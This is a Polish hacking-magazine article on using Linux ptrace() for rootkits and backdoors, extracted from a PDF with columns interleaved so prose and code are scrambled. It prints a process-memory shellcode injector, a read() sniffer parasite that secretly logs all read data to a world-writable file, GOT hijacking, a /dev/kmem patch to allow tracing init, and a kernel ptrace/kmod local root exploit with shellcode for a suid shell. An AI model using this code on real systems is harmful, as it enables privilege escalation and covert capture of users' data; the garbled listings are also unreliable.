Professional Documents
Culture Documents
Rootkity i Ptrace
Atak
Stefan Klaas
stopień trudności
D
otychczas nie znaliśmy zbyt wie- Objaśnienie funkcji ptrace()
le dostępnych publicznie funkcji Funkcja ptrace() jest bardzo użyteczna przy
nadpisujących kod. Jest trochę ko- debugowaniu. Używa się jej do śledzenia pro-
du w „podziemiu”, który nie jest publicznie cesów.
udostępniony z powodu przeterminowania Wywołanie systemowe ptrace() dostar-
(10.2006) i nie ma też dobrych dokumen- cza narzędzia poprzez które proces nadrzęd-
tów opisujących tą technikę, dlatego obja- ny może obserwować i kontrolować wykona-
śnię ją. Jeśli znasz już ptrace(), ten arty- nie innego procesu, a także podglądać i zmie-
kuł powinien Cię również zainteresować, niać jego główny obraz i rejestry. Najczęściej
bo zawsze to dobrze jest się nauczyć no- jest używany do zaimplementowania punktów
wych rzeczy, nieprawdaż? Czy to nie fajnie
móc wstawiać furtki prawie każdego rozmia-
ru do pamięci dowolnego procesu, zmienia- Z artykułu dowiesz się...
jąc jego wykonanie, nawet na niewykonywal-
• należy rozumieć wywołanie systemowe
ną część stosu? Zatem czytaj czytaj dalej,
ptrace();
bo przedstawię w szczegółach, jak to zro-
• używać go w celu zmiany przepływu stero-
bić. Zastrzegam też, że użyłem następują- wania uruchomionych programów poprzez
cych wersji gcc: wstrzykiwanie własnych instrukcji do pamięci
procesu, przejmując w ten sposób kontrolę nad
gcc version 3.3.5 (Debian) uruchomionym procesem.
gcc version 3.3.5 (SUSE Linux)
Powinieneś wiedzieć...
Kompilujemy zawsze prostą metodą gcc file.c
-o output; nie trzeba żadnych flag kompilacji, • należy być obytym ze środowiskiem Linuksa,
toteż nie będę przedstawiać przykładów kom- jak i posiadać zaawansowaną wiedzę o C i pod-
pilacji. To powinno być oczywiste. Tyle słowem stawową o asemblerze Intel/AT&T.
wstępu, zaczynamy.
Listing 4. Kod z infektora Ii, znaleziony w internecie, do przydzielania procesu podanego jako pid, powo-
potrzebnej pamięci dując że ten proces staje się śle-
dzonym procesem potomnym dla
void infect_code() bieżącego procesu, czyli tak, jak-
{
by ten „potomny” proces wyko-
asm("
xorl %eax,%eax
nał PTRACE _ TRACEME . Bieżący pro-
push %eax # offset = 0 ces staje się w istocie procesem
pushl $-1 # no fd nadrzędnym tego potomnego pro-
push $0x22 # MAP_PRIVATE|MAP_ANONYMOUS cesu dla niektórych zastosowań
pushl $3 # PROT_READ|PROT_WRITE
(np. będzie dostawał notyfikacje
push $0x55 # mmap() przydziela 1000 bajtów domyślnie, więc
# jeśli potrzeba więcej, oblicz potrzebny rozmiar.
zdarzeń procesu potomnego i bę-
pushl %eax # start addr = 0 dzie widoczny w raporcie ps (1) ja-
movl %esp,%ebx ko proces nadrzędny tego proce-
movb $45,%al su, ale getppid (2) w procesie po-
addl $45,%eax # mmap()
tomnym będzie wciąż zwracać pid
int $128
ret
oryginalnego procesu nadrzędne-
"); go. Proces potomny dostaje sygnał
} SIGSTOP, ale niekoniecznie zatrzy-
ma się na tym wywołaniu; należy
użyć wait () w celu zaczekania, aż Dobrze, nie martw się, nie musisz programów na sieci i możesz po-
proces potomy się zatrzyma (addr i wszystkiego rozumieć już teraz. Po- szukać Googlem jakichś progra-
data są ignorowane). każę Ci niektóre zastosowania póź- mów w akcji.
PTRACE _ DETACH – wznawia zatrzy- niej w tym artykule.
many proces potomny, jak dla PTRACE _ Czym są pasożyty
CONT, ale uprzednio odłącza się od Praktyczne Pasożyty są to nie replikowane sa-
procesu, cofając efekt zmiany rodzi- zastosowania modzielnie kody, które wstrzykuje
ca wywołany przez PTRACE _ ATTACH i wywołania ptrace() się do programów przez zainfeko-
efekt wywołania PTRACE _ TRACEME. Mi- Zwykle ptrace() jest stosowane do wanie ELF-a lub bezpośrednio do
mo, że niekoniecznie o to może cho- śledzenia procesów w celach debu- pamięci procesu w czasie jego wy-
dzić, pod Linuksem śledzony proces gowych. Może być całkiem poręcz- konywania, przez ptrace(). Główna
potomny może zostać odłączony w ne. Programy strace i ltrace używa- różnica zasadza się tu na tym, że in-
ten sposób, niezależnie od metody ją wywołań ptrace() do śledzenia fekcja ptrace() nie jest rezydentna,
użytej do rozpoczęcia śledzenia (addr wykonujących się procesów. Jest podczas gdy infekcja ELF-a zaraża
jest ignorowany). parę interesujących i użytecznych plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu. Pasożyt wstrzyknięty przez
ptrace() rezyduje tylko w pamięci,
zatem jeśli proces, na przykład, do-
stanie SIGKILL -a, pasożyt wyciągnie
nogi wraz z nim. Ponieważ ptrace()
jest stosowany do wstrzykiwania ko-
du w trakcie wykonywania procesu,
zatem w oczywisty sposób nie bę-
dzie to kod rezydentny.
Klasyczne
wstrzyknięcie ptrace()
Ptrace() potrafi obserwować i kon-
trolować wykonanie innego procesu.
Jest również władny zmieniać jego
rejestry. Skoro można zatem zmie-
Rysunek 1. Ściągnięcie i kompilacja wstrzykiwacza niać rejestry innego procesu, jest to
nieco oczywiste, dlaczego może być
użyty do eksploitów. Oto przykład
Listing 5. Przykład, czego potrzeba do funkcji infect_code()
starej dziury ptrace() w starym ją-
ptrace(PTRACE_GETREGS, pid, ®, ®); drze Linuksa.
ptrace(PTRACE_GETREGS, pid, ®b, ®b); Jądra Linuxa przed 2.2.19 mia-
reg.esp -= 4;
ły błąd pozwalający uzyskać lokal-
ptrace(PTRACE_POKETEXT, pid, reg.esp, reg.eip);
ptr = start = reg.esp - 1024;
nie roota i większość ludzi używa-
reg.eip = (long) start + 2; jących tego jądra mogła jeszcze go
ptrace(PTRACE_SETREGS, pid, ®, ®); nie poprawić. W każdym razie ta
while(i < strlen(sh_code)) { dziura wykorzystuje sytuację wyści-
ptrace(PTRACE_POKETEXT,pid,ptr,(int) *(int *)(sh_code+i));
gu w jądrze Linuksa 2.2.x wewnątrz
i += 4;
ptr += 4;
wywołania systemowego execve().
} Wstrzymując proces potomny
printf("trying to allocate memory \n"); przez sleep() wewnątrz execve(),
ptrace(PTRACE_SYSCALL, pid, 0, 0); atakujący może użyć ptrace() lub
ptrace(PTRACE_SYSCALL, pid, 0, 0);
podobnych mechanizmów do prze-
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE_GETREGS, pid, ®, ®);
jęcia kontroli nad procesem potom-
ptrace(PTRACE_SYSCALL, pid, 0, 0); nym. Jeśli proces potomny ma se-
printf("new memory region mapped to..: 0x%.8lx\n", reg.eax); tuid, atakujący może użyć procesu
printf("backing up registers...\n"); potomnego do wykonania dowolne-
ptrace(PTRACE_SETREGS, pid, ®b, ®b);
go kodu na podkręconych prawach.
printf("dynamical mapping complete! \n", pid);
ptrace(PTRACE_DETACH, pid, 0, 0);
Znanych jest też kilka innych pro-
return reg.eax; blemów bezpieczeństwa związa-
nych z ptrace() w jądrze Linuxa
przed 2.2.19 i po, które oznaczo- Ten błąd pozwala ptrace()-ować kład ze wstrzykiwaniem, i wystar-
no już jako rozwiązane, ale wielu sklonowane procesy, przez co moż- czy jak na nasz pierwszy przykła-
administratorów nie założyło jesz- na przejąć kontrolę nad uprzywile- dowy kod. Zatem, oto ten przykład,
cze łat, więc te błędy mogą wciąż jowanymi binariami. Załączam kod prosty ptrace()-owy wstrzykiwacz
istnieć na wielu systemach. Podob- eksploita na tą dziurę jako Proof (Listingi 1 i 2).
ny problem istnieje w 2.4.x – sytu- of Concept (patrz Listing 9). To był Jak widać, działa! Dobrze, wystar-
acja wyścigu w kernel/kmod.c, któ- drobny przykład, jak użyć ptrace () czy jak na tą część. To jest wstrzyki-
ry tworzy wątek jądra w sposób na- do poszerzania uprawnień. A, no wanie przez ptrace(). Przejdźmy te-
rażający bezpieczeństwo. cóż, myślę, że na razie mały przy- raz do bardziej zaawansowanych
technik związanych z tą funkcją. W ra-
zie wątpliwości, możesz przeczytać
Listing 6. Przykład sniffera read() ten artykuł jeszcze raz od początku
#define LOGFILE "/tmp/read.sniffed" i pobawić się z załączonym przykła-
asm("INJECT_PAYLOAD_BEGIN:"); dem, po prostu w celu pełnego zrozu-
int Inject_read(int fd, char *data, int size) mienia, o co w tym chodzi, co jest wy-
{ magane w pozostałej części artykułu,
asm("
jeśli chcesz zrozumieć ptrace().
jmp DO
DONT:
popl %esi # pobierz adres pliku logowania Nadpisywanie
xorl %eax, %eax funkcji przez ptrace()
movb $3, %al # wywołaj read() Ta technika jest nieco bardziej za-
movl 8(%esp), %ebx # ebx: fd
awansowana i takoż użyteczna – nad-
movl 12(%esp),%ecx # ecx: data
movl 16(%esp),%edx # edx: size pisywanie funkcji za pomocą ptrace().
int $0x80 Na pierwszy rzut oka wygląda tak sa-
movl %eax, %edi # zachowaj wartość zwracaną przez funkcję w %edi mo, jak wstrzykiwanie przez ptrace(),
movl $5, %eax # wywolaj open() ale faktycznie jest trochę inne. Zwykle
movl %esi, %ebx # LOGFILE
wstrzykujemy nasz kod powłokowy do
movl $0x442, %ecx # O_CREAT|O_APPEND|O_WRONLY
movl $0x1ff, %edx # prawa dostępu 0777 procesu. Wstawiamy to na stos i zmie-
int $0x80 niamy parę rejestrów. Jest to więc tro-
movl %eax, %ebx # ebx: fd przez następne dwa wywołania chę ograniczone i jednorazowego
movl $4, %eax # write() zapis do logu użytku. Jeśli jednak załatamy wywo-
movl 12(%esp),%ecx # wskaźnik na dane
łania systemowe w przestrzeni jądra,
movl %edi, %edx # wartość zwrócona z read - ilość przeczytanych bajtów
int $0x80 będzie to jak zaimportowanie dzielo-
movl $6, %eax # zgadnij :P nej funkcji, która wykonuje te same
int $0x80 akcje, co prawdziwe wywołanie sys-
movl %edi, %eax # zwróć %edi temowe. Globalna Tablica Przesunięć
jmp DONE
(GOT) podaje nam lokację wywołania
DO:
call DONT systemowego w pamięci, gdzie bę-
.ascii \""LOGFILE"\" dzie to zamapowane po załadowaniu.
.byte 0x00 Najprościej można to odczytać przez
DONE: objdump, wystarczy wygrepować z te-
");
go relokację wywołania systemowe-
}
asm("INJECT_P_END:"); go. Rzućmy okiem na Listing 2.
Za każdym razem, gdy proces
chce wywołać read(), woła adres
Listing 7a. Drobna funkcja pobierająca segment kodu docelowego POD 08086b30. Pod 08086b30 jest
procesu inny adres, który wskazuje na fak-
tyczną read. Jeśli wpiszesz inny adres
int get_textsegment(int pid, int *size) pod 08086b30, następnym razem, jak
{
proces zawoła read(), skoczy zupeł-
Elf32_Ehdr ehdr;
char buf[128];
nie gdzie indziej. Jeśli zrobisz:
FILE *input;
int i; movl $0x08086b30, %eax
snprintf(buf, sizeof(buf), "/proc/%d/exe", pid); movl $0x41414141, (%eax)
if (!(input = fopen(buf, "rb")))
return (-1);
if (fread(&ehdr, sizeof(Elf32_Ehdr), 1, input) != 1)
to następnym razem, gdy zostanie za-
wołana read(), zainfekowany proces
wego portu. Po prostu pozostawimy Listing 8c. Łata na jądro umożliwiająca ptrace() na init
powłokę na naszym terminalu, żeby
zapobiec łatwemu wykryciu. Zresztą, printf( " . kp2 @ 0x%08X\n", p + 3 - buffer + ptrace );
/* success */
później będzie o tym więcej.
if( c ) printf( " - kernel unpatched\n" );
else printf( " + kernel patched\n" );
Objaśnienia close( kmem_fd );
do różnych furtek return( 0 );
Mamy do dyspozycji wiele możliwych }
ret = -EPERM;
if (pid == 1)
/* you may not mess with init */
goto out_tsk;
if (request == PTRACE_ATTACH)
{ Figure 3. Testowanie infekcji
R E K L A M A
Atak
ret = ptrace_attach(child);
Listing 9a. Linux kernel ptrace()/kmod local root exploit goto out_tsk;
}
#include <grp.h>
#include <stdio.h>
#include <fcntl.h> Christophe Devine napisał mały pro-
#include <errno.h> gram, który jest rozprowadzany na li-
#include <paths.h>
cencji publicznej GNU, do załatania
#include <string.h>
#include <stdlib.h>
jądra w czasie wykonywania, żeby
#include <signal.h> można było śledzić init. Załączam
#include <unistd.h> ten kod (patrz Listingi 8). Teraz po
#include <sys/wait.h> załataniu tą metodą /dev/kmem, moż-
#include <sys/stat.h>
na zainfekować proces init. Jednak
#include <sys/param.h>
#include <sys/types.h>
po zainfekowaniu, init nie będzie się
#include <sys/ptrace.h> już znajdował na szczycie procesu
#include <sys/socket.h> i przez to może ujawnić, że system
#include <linux/user.h> został naruszony.
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
Snifer do read()
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d" Wystarczy teorii, skupmy się teraz
"\x00\x00\xcd\x80\x89\xd0\x89\xd3" na konstrukcji sniffera read(). Po
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; prostu wstrzykniemy instrukcje pa-
#define CODE_SIZE (sizeof(cliphcode) - 1)
sożyta w segment kodu, nadpisując
pid_t parent = 1;
pid_t child = 1;
tym samym globalny offset funkcji
pid_t victim = 1; read() tak, aby wskazywała na nasz
volatile int gotchild = 0; kod. Jego wykonanie będzie imito-
void fatal(char * msg) wało funkcję read() z uzupełnieniem
{
o logowanie wszystkiego do określo-
perror(msg);
kill(parent, SIGKILL);
nego pliku. Kod jest wart więcej niż
kill(child, SIGKILL); słowa, więc zacznijmy. Na początek
kill(victim, SIGKILL); spójrzmy na nasz kod zastępczy: (Li-
} sting 6)
void putcode(unsigned long * dst)
Istotną rzeczą, którą w tym miej-
{
char buf[MAXPATHLEN + CODE_SIZE];
scu trzeba odnotować, pozwalającą
unsigned long * src; uniknąć męczącej sesji z debuge-
int i, len; rem, jest to, iż różne wersje gcc trak-
memcpy(buf, cliphcode, CODE_SIZE); tują wywołanie inline asm() inaczej.
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
W związku z tym, nawet jeśli powyż-
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
sze wywołanie działa na niektórych
len += CODE_SIZE + 1; wersjach gcc, na nowszych już nie-
buf[len] = '\0'; koniecznie. Aby temu zaradzić po-
src = (unsigned long*) buf; stąpimy tak jak w pierwszym przyto-
for (i = 0; i < len; i += 4)
czonym przykładzie:
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
} asm("movl $1, %eax\n"
void sigchld(int signo) "movl $123, %ebx\n"
{ "int $0x80\n");
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
Nasz kod zastępczy jest gotowy.
fprintf(stderr, "[+] Signal caught\n"); To podstawa naszej furtki, paso-
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1) żyt. Przejdźmy teraz do potrzebnych
fatal("[-] Unable to read registers"); funkcji. Komentarze prezentuję po-
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
wyżej funkcji:
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) Furtka przez dup2()
fatal("[-] Unable to detach from victim"); No cóż, ta furtka jest całkiem nie-
exit(0); widzialna i netstat jej nie pokazu-
je. Oczywiście nie korzystamy z